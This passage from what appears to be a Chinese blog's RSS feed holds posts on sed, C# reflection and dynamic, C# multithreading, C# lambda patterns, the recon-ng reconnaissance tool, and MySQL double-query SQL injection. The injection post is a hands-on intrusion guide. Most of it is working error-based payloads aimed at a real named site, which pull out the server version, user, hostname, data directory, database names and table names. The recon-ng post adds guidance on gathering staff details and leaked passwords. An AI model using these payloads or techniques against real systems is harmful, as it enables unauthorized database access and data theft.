&lt;p&gt;sed 是unix中最重要的编辑器之一，注意，有之一..支持多种编辑任务，本文将实现题目的功能实例&lt;/p&gt;
&lt;p&gt;假定我们有一额文本文件，叫做empFile，包含了员工名字和员工id，如下：&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;Hilesh, 1001
Bharti, 1002
Aparna, 1003
Harshal, 1004
Keyur, 1005&lt;/pre&gt;
&lt;p&gt;&lt;span style=&#34;color: #3366ff;&#34;&gt;1.如何通过sed给文件添加标题行-“Employee, EmpId”&lt;/span&gt;&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;$ sed  &#39;1i Employee, EmpId&#39;  empFile
Employee, EmpId
Hilesh, 1001
Bharti, 1002
Aparna, 1003
Harshal, 1004
Keyur, 1005&lt;/pre&gt;
&lt;p&gt;解释：数字1，是说只对第一行执行操作，i代表在insert（熟悉vim的同学应该知道，i会在当前字符的前面插入，a是在后面插入），因此，1i就表示在将Employee, EmpId插入到第一行之前，&lt;/p&gt;
&lt;p&gt;然后，有了标题行的文件仅仅会输出到标准输出，源文件内容并不会改变，如果需要更新源文件，可以使用重定向输出到一个临时文件，然后移动到原始文件。如果Unix系统的sed是GUN版本的，sed会有一个-i选项，可以直接实现更新源文件，（如何查看版本，终端下输入sed &amp;ndash;version即可看到）下面先执行，再查看文件，发现已经多了标题行了&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;$ sed -i &#39;1i Employee, EmpId&#39; empFile
$ cat empFile
Employee, EmpId
Hilesh, 1001
Bharti, 1002
Aparna, 1003
Harshal, 1004
Keyur, 1005&lt;/pre&gt;
&lt;p&gt;&lt;span style=&#34;color: #3366ff;&#34;&gt;2.如何在标题行之后，也就是原始第一行之前添加一行横线&amp;ndash;“&amp;mdash;&amp;ndash;”&lt;/span&gt;&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;$ sed -i &#39;1a ---------------&#39;  empFile
$ cat empFile
Employee, EmpId
---------------
Hilesh, 1001
Bharti, 1002
Aparna, 1003
Harshal, 1004
Keyur, 1005&lt;/pre&gt;
&lt;p&gt;同1，中，1表示第一行，a表示append（附加），也就是说当读入第一行的时候在其之后添加一行，如果你使用2i作为命令也是正确的，就是指当读入第二行的时候，在其之前插入一行。&lt;/p&gt;
&lt;p&gt;&lt;span style=&#34;color: #3366ff;&#34;&gt;3.如何在文件尾部添加一行&lt;/span&gt;&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;$ sed -i &#39;$a ---------------&#39; empFile
$ cat empFile
Employee, EmpId
---------------
Hilesh, 1001
Bharti, 1002
Aparna, 1003
Harshal, 1004
Keyur, 1005
---------------&lt;/pre&gt;
&lt;p&gt;为了在文件尾部插入一行，如果使用之前的方法就需要知道总共有多少行，而$符号则直接指明了最后一行，因此$a表示在读入最后一行的时候，在后面插入一行&lt;/p&gt;
&lt;p&gt;&lt;span style=&#34;color: #3366ff;&#34;&gt;4.如何在指定的记录之后插入一条新纪录&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;假定我们的例子文件的内容现在是：&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;Employee, EmpId
---------------
Hilesh, 1001
Harshal, 1004
Keyur, 1005
---------------&lt;/pre&gt;
&lt;p&gt;如果我想在Hilesh这个员工之后插入Bharti员工的信息，我这样做：&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;$ sed -i &#39;/Hilesh/a Bharti, 1002&#39; empFile
$ cat empFile
Employee, EmpId
---------------
Hilesh, 1001
Bharti, 1002
Harshal, 1004
Keyur, 1005
---------------&lt;/pre&gt;
&lt;p&gt;注意看，我们这里已经不再使用数字或者其他表示行号的标识了，我们使用了一个模式（了解过&lt;a href=&#34;http://zh.wikipedia.org/zh/%E6%AD%A3%E5%88%99%E8%A1%A8%E8%BE%BE%E5%BC%8F&#34;&gt;正则表达式&lt;/a&gt;的朋友会比较熟悉，可以理解为某种规则- /Hilesh/a 这个命令表示对于每一行读入的内容，如果发现 /Hilesh/这个匹配，在该行之后插入一行，也就是说如果文件里有两行都是Hilesh员工，那么执行完上面的命令，将会附加两行内容，这里可以想想&lt;a href=&#34;http://leaver.me/archives/3162.html&#34;&gt;sed的工作模式&lt;/a&gt;，对每一行执行命令条件检测，发现匹配，就执行。&lt;/p&gt;</description>
    </item>
    <item>
      <title>[译]反射(Reflection)和动态(dynamic)</title>
      <link>http://blog.leaver.me/2013/05/27/%E8%AF%91%E5%8F%8D%E5%B0%84reflection%E5%92%8C%E5%8A%A8%E6%80%81dynamic/</link>
      <pubDate>Mon, 27 May 2013 08:47:34 +0000</pubDate>
      <guid>http://blog.leaver.me/2013/05/27/%E8%AF%91%E5%8F%8D%E5%B0%84reflection%E5%92%8C%E5%8A%A8%E6%80%81dynamic/</guid>
      <description>&lt;h1 id=&#34;反射&#34;&gt;反射&lt;/h1&gt;
&lt;p&gt; &lt;/p&gt;
&lt;div&gt;当我们需要检查，调用一个程序集的内容的时候，用反射，比如，当VS给智能提示的时候，就应用了反射。&lt;/div&gt;
&lt;div&gt;&lt;/div&gt;
&lt;div&gt;&lt;/div&gt;
&lt;h2 id=&#34;简单用法实例&#34;&gt;简单用法实例：&lt;/h2&gt;
&lt;p&gt; &lt;/p&gt;
&lt;div&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;var myAssembly = Assembly.LoadFile(@&#34;C:\ClassLibrary1.dll&#34;);
var myType = myAssembly.GetType(&#34;ClassLibrary1.Class1&#34;);
dynamic objMyClass = Activator.CreateInstance(myType);
// 获取类的类型信息
Type parameterType = objMyClass.GetType();
&lt;p&gt;// 浏览方法
foreach (MemberInfo objMemberInfo in parameterType.GetMembers())
{Console.WriteLine(objMemberInfo.Name);}&lt;/p&gt;
&lt;p&gt;// 浏览属性.
foreach (PropertyInfo objPropertyInfo in parameterType.GetProperties())
{Console.WriteLine(objPropertyInfo.Name);}&lt;/p&gt;
&lt;p&gt;//开始调用
parameterType.InvokeMember(&amp;ldquo;Display&amp;rdquo;,BindingFlags.Public | 
BindingFlags.NonPublic | BindingFlags.InvokeMethod | 
BindingFlags.Instance,null, objMyClass, null);&lt;/pre&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;div&gt;&lt;/div&gt;
&lt;div&gt;&lt;/div&gt;
&lt;h2 id=&#34;实际一点的用处呢&#34;&gt;实际一点的用处呢：&lt;/h2&gt;
&lt;p&gt; &lt;/p&gt;
&lt;div&gt;1.当你也要开发一个类似VS的编辑器的时候，要提供智能提示就需要反射&lt;/div&gt;
&lt;div&gt;2.当创建单元测试框架的时候，为了测试需要动态调用方法和属性的时候&lt;/div&gt;
&lt;div&gt;3.有时候我们想把类型的属性，方法等全部导出的时候&lt;/div&gt;
&lt;div&gt;&lt;/div&gt;
&lt;div&gt;&lt;/div&gt;
&lt;h1 id=&#34;动态dynamic&#34;&gt;动态dynamic&lt;/h1&gt;
&lt;p&gt; &lt;/p&gt;
&lt;div&gt;编程语言分为强/弱类型，dynamic是弱类型，此关键字会让编译器不做编译时的类型检查，只做运行时的检查。&lt;/div&gt;
&lt;div&gt;&lt;/div&gt;
&lt;div&gt;&lt;/div&gt;
&lt;h2 id=&#34;简单用法示例&#34;&gt;简单用法示例：&lt;/h2&gt;
&lt;p&gt; &lt;/p&gt;
&lt;div&gt;
&lt;pre lang=&#34;cs&#34;&gt;dynamic x = &#34;c#&#34;;
x++;&lt;/pre&gt;
&lt;/div&gt;
&lt;div&gt;所以上面这行代码可以编译通过，但会产生运行时一场。&lt;/div&gt;
&lt;div&gt;&lt;/div&gt;
&lt;div&gt;&lt;/div&gt;
&lt;h2 id=&#34;实际用处&#34;&gt;实际用处：&lt;/h2&gt;
&lt;p&gt; &lt;/p&gt;
&lt;div&gt;最多的就是通过互操作来操作Office组件的时候了&lt;/div&gt;
&lt;div&gt;没有dynamic的时候&lt;/div&gt;
&lt;div&gt;
&lt;pre lang=&#34;cs&#34;&gt;/ Before the introduction of dynamic.
Application excelApplication = new  Application();
((Excel.Range)excelApp.Cells[1, 1]).Value2 = &#34;Name&#34;;
Excel.Range range2008 = (Excel.Range)excelApp.Cells[1, 1];&lt;/pre&gt;
&lt;/div&gt;
&lt;div&gt;有了dynamic之后世界就不一样了&lt;/div&gt;
&lt;div&gt;
&lt;pre lang=&#34;cs&#34;&gt;dynamic excelApp = new Application();
excelApp.Cells[1, 1].Value = &#34;Name&#34;;
Excel.Range range2010 = excelApp.Cells[1, 1];&lt;/pre&gt;
&lt;/div&gt;
&lt;div&gt;&lt;/div&gt;
&lt;h1 id=&#34;两者的区别和联系呢&#34;&gt;两者的区别和联系呢&lt;/h1&gt;
&lt;div&gt;&lt;/div&gt;
&lt;div&gt;&lt;/div&gt;
&lt;div&gt;1.当我们想要在运行时操作一个对象的时候，就会用到这两个&lt;/div&gt;
&lt;div&gt;2.反射可以用来检测对象的元数据，也能在运行时调用对象的方法和属性&lt;/div&gt;
&lt;div&gt;3.dynamic是.net 4.0新出的关键字，知道方法被调用的时候，编译器才会晓得这个方法到底有还是没有。&lt;/div&gt;
&lt;div&gt;4.dynamic内部是使用反射来实现的，它缓存了方法调用来提高性能&lt;/div&gt;
&lt;div&gt;5.反射可以调用公有和私有成员，而dynamic智能调用用公有成员&lt;/div&gt;
&lt;div&gt;6.dynamic是实例相关的，无法访问静态成员，这种情况下使用反射吧。&lt;/div&gt;
&lt;div&gt;&lt;/div&gt;
&lt;div&gt;&lt;/div&gt;
&lt;div&gt;
&lt;table&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td width=&#34;163&#34;&gt;&lt;/td&gt;
&lt;td width=&#34;68&#34;&gt;**Reflection**&lt;/td&gt;
&lt;td&gt;**Dynamic**&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td width=&#34;163&#34;&gt;**Inspect (meta-data) **&lt;/td&gt;
&lt;td width=&#34;68&#34;&gt;Yes&lt;/td&gt;
&lt;td&gt;No&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td width=&#34;163&#34;&gt;**Invoke public members**&lt;/td&gt;
&lt;td width=&#34;68&#34;&gt;Yes&lt;/td&gt;
&lt;td&gt;Yes&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td width=&#34;163&#34;&gt;**Invoke private members**&lt;/td&gt;
&lt;td width=&#34;68&#34;&gt;Yes&lt;/td&gt;
&lt;td&gt;No&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td width=&#34;163&#34;&gt;**Caching**&lt;/td&gt;
&lt;td width=&#34;68&#34;&gt;No&lt;/td&gt;
&lt;td&gt;Yes&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td width=&#34;163&#34;&gt;**Static class **&lt;/td&gt;
&lt;td width=&#34;68&#34;&gt;Yes&lt;/td&gt;
&lt;td&gt;No&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
再来一张图...
[![](/images/d0e1ec824f1199a847d9a16237673a4a299e0dce.jpg)](http://leaverimage.b0.upaiyun.com/36512_o.jpg)
&lt;/div&gt;
&lt;div&gt;&lt;/div&gt;
&lt;div&gt;译自：[http://www.codeproject.com/Articles/593881/What-is-the-difference-between?utm_source=feedly](http://www.codeproject.com/Articles/593881/What-is-the-difference-between?utm_source=feedly)&lt;/div&gt;
&lt;div&gt;&lt;/div&gt;</description>
    </item>
    <item>
      <title>双查询注入</title>
      <link>http://blog.leaver.me/2013/02/22/%E5%8F%8C%E6%9F%A5%E8%AF%A2%E6%B3%A8%E5%85%A5/</link>
      <pubDate>Fri, 22 Feb 2013 20:57:02 +0000</pubDate>
      <guid>http://blog.leaver.me/2013/02/22/%E5%8F%8C%E6%9F%A5%E8%AF%A2%E6%B3%A8%E5%85%A5/</guid>
      <description>&lt;p&gt;作者：bystander
论坛：法客论坛
这个东西比较难解释。我就不多解释。尽量通过这篇文章大家能够照猫画虎手注即可。想要深入理解的可以去看看mysql数据库的一些知识&lt;/p&gt;
&lt;p&gt;介绍一下双查询注入，有时候我们通过order by 语句获取到了确定的列数，可是当我们使用union select或union select all查询的时候，&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true &#34; &gt;f4ck.net/index.php?id=-1 union select 1,2,3,4,5,6--&lt;/pre&gt; 
&lt;p&gt;却会出现一个错误提示，列数不一致。&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true &#34; &gt;Different Number of Columns&lt;/pre&gt; 
&lt;p&gt;而我们使用下面的语句：&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true &#34; &gt;f4ck.net/index.php?id=1 and (select 1 from (select count(*),concat((select(select concat(cast(concat(version(),user(),@@hostname,0x7e,@@datadir) as char),0x7e)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)&lt;/pre&gt; 
&lt;p&gt;执行之后就会显示mysql版本，用户名，服务器名, 以及数据目录…&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;获取数据库里&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;许多人会在上面的语句里使用:database()方法来获取数据库，&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true &#34; &gt;f4ck.net/index.php?id=1 and (select 1 from (select count(*),concat((select(select concat(cast(database() as char),0x7e)) from information_schema.tables where table_schema=database() limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)&lt;/pre&gt; 
&lt;p&gt;可是。这个方法只能获取一个数据库。如果你入侵的网站存在多个数据库。上面这个查询就不能用了因此使用下面这个方法更好些。。&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true &#34; &gt;f4ck.net/index.php?id=1 and(select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x7e,0x27,cast(schema_name as char),0x27,0x7e) FROM information_schema.schemata LIMIT 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1&lt;/pre&gt; 
&lt;p&gt;不同点在于第二个查询语句在information_schema.schemata里查询 schema_name ，这样就能查到所有的数据库了。
注意语句中的Limit 0,1会显示地一个数据库,改成 Limit 1,1 会显示第二个 Limit 2,1 会显示第三个, Limit 3,1 会显示第四个。。以此类推。
补充个：
在普通的SQL注入中，使用如下的语句&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true &#34; &gt;f4ck.net/index.php?id=-1 union select 1,2,3,4,5,schema_name,7,8 from information_schema.schemata--&lt;/pre&gt; 
&lt;p&gt;会一次爆出所有的数据库
而使用下面的&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true &#34; &gt;f4ck.net/index.php?id=-1 union select 1,2,3,4,5,database(),7,8--&lt;/pre&gt; 
&lt;p&gt;只会显示当前站点使用的数据库。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;获取表名&lt;/strong&gt;
回正题，我们继续使用双查询来获取数据库的表:&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true &#34; &gt;f4ck.net/index.php?id=1 and(select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x7e,0x27,cast(table_name as char),0x27,0x7e) FROM information_schema.tables Where table_schema=0xHEX LIMIT 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1&lt;/pre&gt; 
&lt;p&gt;注意语句中的table_schema=0xHEX 这里的hex用你要查询的数据库进行hex编码后替换即可。
同样的，这里可以要修改LIMIT后面的值来得到第二个第三个第四个表。&lt;/p&gt;</description>
    </item>
    <item>
      <title>C#多线程揭秘</title>
      <link>http://blog.leaver.me/2013/02/12/c%23%E5%A4%9A%E7%BA%BF%E7%A8%8B%E6%8F%AD%E7%A7%98/</link>
      <pubDate>Tue, 12 Feb 2013 16:31:22 +0000</pubDate>
      <guid>http://blog.leaver.me/2013/02/12/c%23%E5%A4%9A%E7%BA%BF%E7%A8%8B%E6%8F%AD%E7%A7%98/</guid>
      <description>&lt;p&gt;文章略长。。。
Demo下载：&lt;a href=&#34;http://pan.baidu.com/share/link?shareid=290200&amp;amp;uk=1493685990&#34;&gt;Demo.Threading.zip&lt;/a&gt;
&lt;strong&gt;介绍&lt;/strong&gt;
本文将通过一些例子来展示.net 中如何实现多线程，涉及到以下四部分。
1 .线程概念
2 .如何实现多线程
3 .如何确保线程安全
4 .死锁&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;什么是进程&lt;/strong&gt;
一个进程就是一个可执行文件运行的操作系统上下文环境。它被用来分隔虚拟地址空间，线程，对象句柄（指向类似文件这样的资源的指针），以及环境变量，进程还有一些类似优先级类和最大内存分配的属性。&lt;/p&gt;
&lt;p&gt;也就是说：
1 .一个进程就是一个包含资源的内存块。
2 .操作系统执行的一个单独的任务。
3 .一个正在运行的软件
4 .一个进程拥有一个/多个操作系统线程&lt;/p&gt;
&lt;p&gt;一般的。一个进程最大可以是4GB的内存空间，这块内存是安全，私有，其他进程是无法访问的。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;什么是线程&lt;/strong&gt;
一个线程就是在一个进程里执行的一条指令流，所有的线程都在一个进程里执行，也就是一个进程可以包含多个线程。线程公用进程的虚拟地址空间。线程是操作系统的调度单元。一个线程的上下文由操作系统进行保存/恢复。
也就是说：
1 .一个线程是进程里的一条指令流。
2 .所有的线程在进程里。一个进程可以有多个线程
3 .一个进程的所有线程使用进程的虚拟地址空间。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;什么是多线程&lt;/strong&gt;
多线程指的是进程同时有多个线程活动。这可以通过时间片的线程模拟或是多cpu上的超线程来实现。可以提高性能。
&lt;strong&gt;多线程-为什么或是为什么不?&lt;/strong&gt;
为什么多线程
1 .保持UI响应。
2 .提高性能(对于cpu密集型和I/O密集型的进程)
为什么不多线程
1 .过度使用降低性能
2 .代码复杂，增加设计时间，潜在的bug&lt;/p&gt;
&lt;p&gt;线程池
线程池为你的程序提供了一个由操作系统管理的机制。在线程池里的都是后台线程。一个线程池线程在程序的前台线程都退出后，也会推出。每个进程一个线程池。默认情况下。每个处理器会为进程分配25个线程。但是可以通过SetMaxThreads  方法来改变。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;.net 中的线程&lt;/strong&gt;
在.net 中，线程可以通过下面6个方法来实现。
1 .Thread线程类
2 .Delegates委托
3 .Background Worker
4 .ThreadPool 线程池
5 .Task任务类
6 .Parallel并行类&lt;/p&gt;
&lt;p&gt;下面的几部分里。我将逐一展示实现方法。&lt;/p&gt;
&lt;p&gt;简而言之，多线程就是通过使程序同时运行多个任务来最大化计算机能力，同时能够保持UI响应。下图是一个例子的图示。
&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/32605_o.jpg&#34;&gt;&lt;img loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/472b9c05527afb3cb133d1d5689cdca367412bc0.jpg&#34;&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;代码&lt;/strong&gt;
提供的源码是一个简单的WinForm程序。模拟了.net中委托，线程类和Background Worker三种方法。
程序异步执行一个繁重的操作，这样UI就不会无响应。三个方法都是模拟的。
&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/32606_o.jpg&#34;&gt;&lt;img loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/a0567e4556b306284f9d9793d2879ae6716dae23.jpg&#34;&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;这个“繁重”的操作
真实的开发中，这个繁重的操作从轮询数据库到流媒体操作都可以。基本上可以是任何事情。源码里面是向一个字符串追加值。String是不能变的。追加的时候，新的字符串变量会被创建，旧的会被丢弃，这是由CLR处理的。如果做很多次这个操作，是很耗资源的。这也是为什么我们使用Stringbuilder.Append 来代替这个操作。通过调整界面中的次数。可以通知追加的次数。&lt;/p&gt;
&lt;p&gt;后面我们有一个Utility泪，有一个LoadData() 方法。类里面也有一个和LoadData() 有着同样签名的委托&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true &#34; &gt;class Utility
{
    public delegate string delLoadData(int number);
    public static delLoadData dLoadData;

    public Utility()
    {

    }

    public static string LoadData(int max)
    {
        string str = string.Empty;

        for (int i = 0; i &amp;lt; max; i++)
                                {
            str += i.ToString();
                                }

        return str;
    }
}
&lt;/pre&gt; 
&lt;p&gt;&lt;strong&gt;同步调用&lt;/strong&gt;
当点击Get Data Sync按钮的时候。操作和UI在同一个线程里，因此阻塞了UI线程。因此。UI线程会未响应&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true &#34; &gt;private void btnSync_Click(object sender, EventArgs e)
{
    this.Cursor = Cursors.WaitCursor;
    this.txtContents.Text = Utility.LoadData(upCount);
    this.Cursor = Cursors.Default;
}
&lt;/pre&gt; 
&lt;p&gt;&lt;strong&gt;异步调用&lt;/strong&gt;
使用委托（异步编程模型）&lt;/p&gt;</description>
    </item>
    <item>
      <title>recon-ng开源信息探测框架</title>
      <link>http://blog.leaver.me/2013/02/02/recon-ng%E5%BC%80%E6%BA%90%E4%BF%A1%E6%81%AF%E6%8E%A2%E6%B5%8B%E6%A1%86%E6%9E%B6/</link>
      <pubDate>Sat, 02 Feb 2013 06:52:28 +0000</pubDate>
      <guid>http://blog.leaver.me/2013/02/02/recon-ng%E5%BC%80%E6%BA%90%E4%BF%A1%E6%81%AF%E6%8E%A2%E6%B5%8B%E6%A1%86%E6%9E%B6/</guid>
      <description>&lt;p&gt;作者：bystander
博客：&lt;a href=&#34;http://leaver.me&#34;&gt;http://leaver.me&lt;/a&gt;
微博：&lt;a href=&#34;http://t.qq.com/lazystander&#34;&gt;http://t.qq.com/lazystander&lt;/a&gt;
论坛：法客论坛&lt;/p&gt;
&lt;p&gt;首发。转载什么的请注明出处。起码给我留个链接啥的嘛。&lt;/p&gt;
&lt;p&gt;首先介绍一下。这个工具是国外刚刚发布的。主要用来渗透前的信息探测。使用类似Metasploit
主要有
Auxiliary：
这个模块查询主机信息泄漏页。进行hash反查，模糊名称精确，检查某个email是否密码泄漏，域名解析ip等
Contacts：
这个模块探测和某一公司有关的人员的信息，主要包括 LinkedIn 和Jigsaw 这两个模块。得到的信息可以被Auxiliary模块使用，如果和Social Engineer Toolkit(社会工程学工具集，这个工具已经发布了。是开源的。大家可以看看)，一起。效果强大。&lt;/p&gt;
&lt;p&gt;Hosts：
这个用来获取站点子域名。。包括使用baidu。Google bing等。。效果相当强大。
Output：
这个模块用来创建输出报表
Pwnedlist：
这个模块不是得shell的。他可通过 Pwnedlist.com 提供的api，如果这个网站被入侵过。那么可以直接获得其他黑客泄漏的帐号密码。。（需要去 Pwnedlist.com 注册）&lt;/p&gt;
&lt;p&gt;安装方法：
bt下直接&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;git clone https://LaNMaSteR53@bitbucket.org/LaNMaSteR53/recon-ng.git&lt;/pre&gt;
&lt;p&gt;然后有可能提示输入密码，好象是随便输一个用来保护版本控制。。我输的是toor。。
然后就安装好了。输入&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;cd recon-ng&lt;/pre&gt;
&lt;p&gt;然后&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;./recon-ng.py&lt;/pre&gt;
&lt;p&gt;首先查看有哪些模块。输入&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;modules&lt;/pre&gt;
&lt;p&gt;图一&lt;/p&gt;
&lt;p&gt;&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/32339_o.jpg&#34;&gt;&lt;img loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/88f2dd5c24ad567a09c5b6162cd60d70b3fb781d.jpg&#34;&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;我以获取子域名为例，通过我前面的介绍你已经知道了hosts模块里的所有模块基本都是干这事的。我用里面的baidu模块来说明。你也可以使用bing等，，&lt;/p&gt;
&lt;p&gt;输入命令&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;load hosts::baidu&lt;/pre&gt;
&lt;p&gt;图二&lt;/p&gt;
&lt;p&gt;&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/32340_o.jpg&#34;&gt;&lt;img loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/f818e08de804ba8875667692fbdd580ad8114667.jpg&#34;&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;刚开始你可能不清楚这个模块的说明。那么继续输入info即可查看模块的详细说明
要开始使用。我们输入&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;options&lt;/pre&gt;
&lt;p&gt;和Metasploit很像把。可以查看要使用需要的配置。&lt;/p&gt;
&lt;p&gt;图三&lt;/p&gt;
&lt;p&gt;&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/32341_o.jpg&#34;&gt;&lt;img loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/7848e773ab3e4e3ad03f59ba7b5ac6704d333ce6.jpg&#34;&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;看表，会发现有三行。第一行是标题，第二行是域名设置，第三行是输出。这个current value也就是当前值已经为true。所以不用设置。req的意思是是否必须设置。我们输入
baidu.com就是你的目标了。&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;set domain baidu.com&lt;/pre&gt;
&lt;p&gt;就会从百度的结果里提取百度的子域名信息了。要开始。我们输入&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;run&lt;/pre&gt;
&lt;p&gt;图四&lt;/p&gt;
&lt;p&gt;&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/32342_o.jpg&#34;&gt;&lt;img loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/125a841869478ff39dd63113e2e9427c3ae1cf81.jpg&#34;&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;更多希望大家发掘吧。我抛砖。求引玉。&lt;/p&gt;</description>
    </item>
    <item>
      <title>Lambda高手之路第六部分</title>
      <link>http://blog.leaver.me/2012/12/28/lambda%E9%AB%98%E6%89%8B%E4%B9%8B%E8%B7%AF%E7%AC%AC%E5%85%AD%E9%83%A8%E5%88%86/</link>
      <pubDate>Fri, 28 Dec 2012 14:24:35 +0000</pubDate>
      <guid>http://blog.leaver.me/2012/12/28/lambda%E9%AB%98%E6%89%8B%E4%B9%8B%E8%B7%AF%E7%AC%AC%E5%85%AD%E9%83%A8%E5%88%86/</guid>
      <description>&lt;p&gt;今天武汉地铁通车了，今天介绍一些新的Lambda设计模式，应该是最后一部分了。&lt;/p&gt;
&lt;p&gt;本节介绍一些核心有lambda表达式的模式，我不认为他们完全是新的模式，但是至少我还没有看到有人给他们起过名字，我于是决定尝试取个可能好，也可能不好的名字，这样我起码能很容易的给别人描述，有话在先，许多模式相当强大，但是可能会引入潜在的bug，所以小心为上&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;复杂的多态&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Lambda表达式也可以被用来创建一些多态（override），而不用使用abstract或者virtual关键字（当然这并不意味着就不能用），考虑如下的代码片段&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true &#34; &gt;class MyBaseClass
{
	public Action SomeAction { get; protected set; }

	public MyBaseClass()
	{
		SomeAction = () =&amp;gt; {
			//Do something!
		};
	}
}&lt;/pre&gt; 
&lt;p&gt;看起来没什么新的知识，我们创建一个类，里面有一个属性（一个lambda表达式），又一次JavaScript化了，有趣的地方是：属性暴露的这个部分不只是本类可以改变，子类也可以改变，看代码&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true &#34; &gt;class MyInheritedClass : MyBaseClass
{
	public MyInheritedClass
	{
		SomeAction = () =&amp;gt; {
			//Do something different!
		};
	}
}
&lt;/pre&gt; 
&lt;p&gt;看到了。我们可以改变这个方法。或者进行更精确的操作，这种方法的缺点是我们不能直接访问父类的实现，也就缺乏了基类的能力，因为，这个父类的属性会有同样的值，如果程序员真的需要这样写，我建议你遵循 &lt;em&gt;pattern&lt;/em&gt;&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true &#34; &gt;class MyBaseClass
{
	public Action SomeAction { get; private set; }

	Stack&amp;lt;Action&amp;gt; previousActions;

	protected void AddSomeAction(Action newMethod)
	{
		previousActions.Push(SomeAction);
		SomeAction = newMethod;
	}

	protected void RemoveSomeAction()
	{
		if(previousActions.Count == 0)
			return;

		SomeAction = previousActions.Pop();
	}

	public MyBaseClass()
	{
		previousActions = new Stack&amp;lt;Action&amp;gt;();

		SomeAction = () =&amp;gt; {
			//Do something!
		};
	}
}
&lt;/pre&gt; 
&lt;p&gt;这样的话，子类就不得不拥有了 AddSomeAction()  方法，而这个方法是吧当前的方法压入堆栈，那样我们可以恢复之前的状态。&lt;/p&gt;
&lt;p&gt;这种模式我起了一个名字叫做Lambda属性多态模式（LP3），它简单的描述了可以在属性里捕获任何方法。之后可以被子类所设置，栈是这个模式的一个附加品，没有改变我们使用属性来完成的模式目标&lt;/p&gt;
&lt;p&gt;为什么要用这种模式？有几个理由。地一个，因为我们可以用。但是等一等。如果你使用当中不同的属性，这个模式会变得相当棘手，突然，多态变成了一个完全的新方法。但是这也许是一个不同的模式，现在我想说这个模式完成了以前人们认为不可能的事情&lt;/p&gt;
&lt;p&gt;举个例子，你想要（不建议，但是也许对该问题是最优雅的解决方法了。）重写一个静态方法，好吧。静态不可能被继承，原因很简单，师承是对实例对象来说的。而静态方法不属于任何一个实例，对于所有的实例都是一样的。这会引发一个警告，下面的例子也许并不如你所想的结果，因此，除非你非常清楚。否则不要乱用。
看代码&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true &#34; &gt;void Main()
{
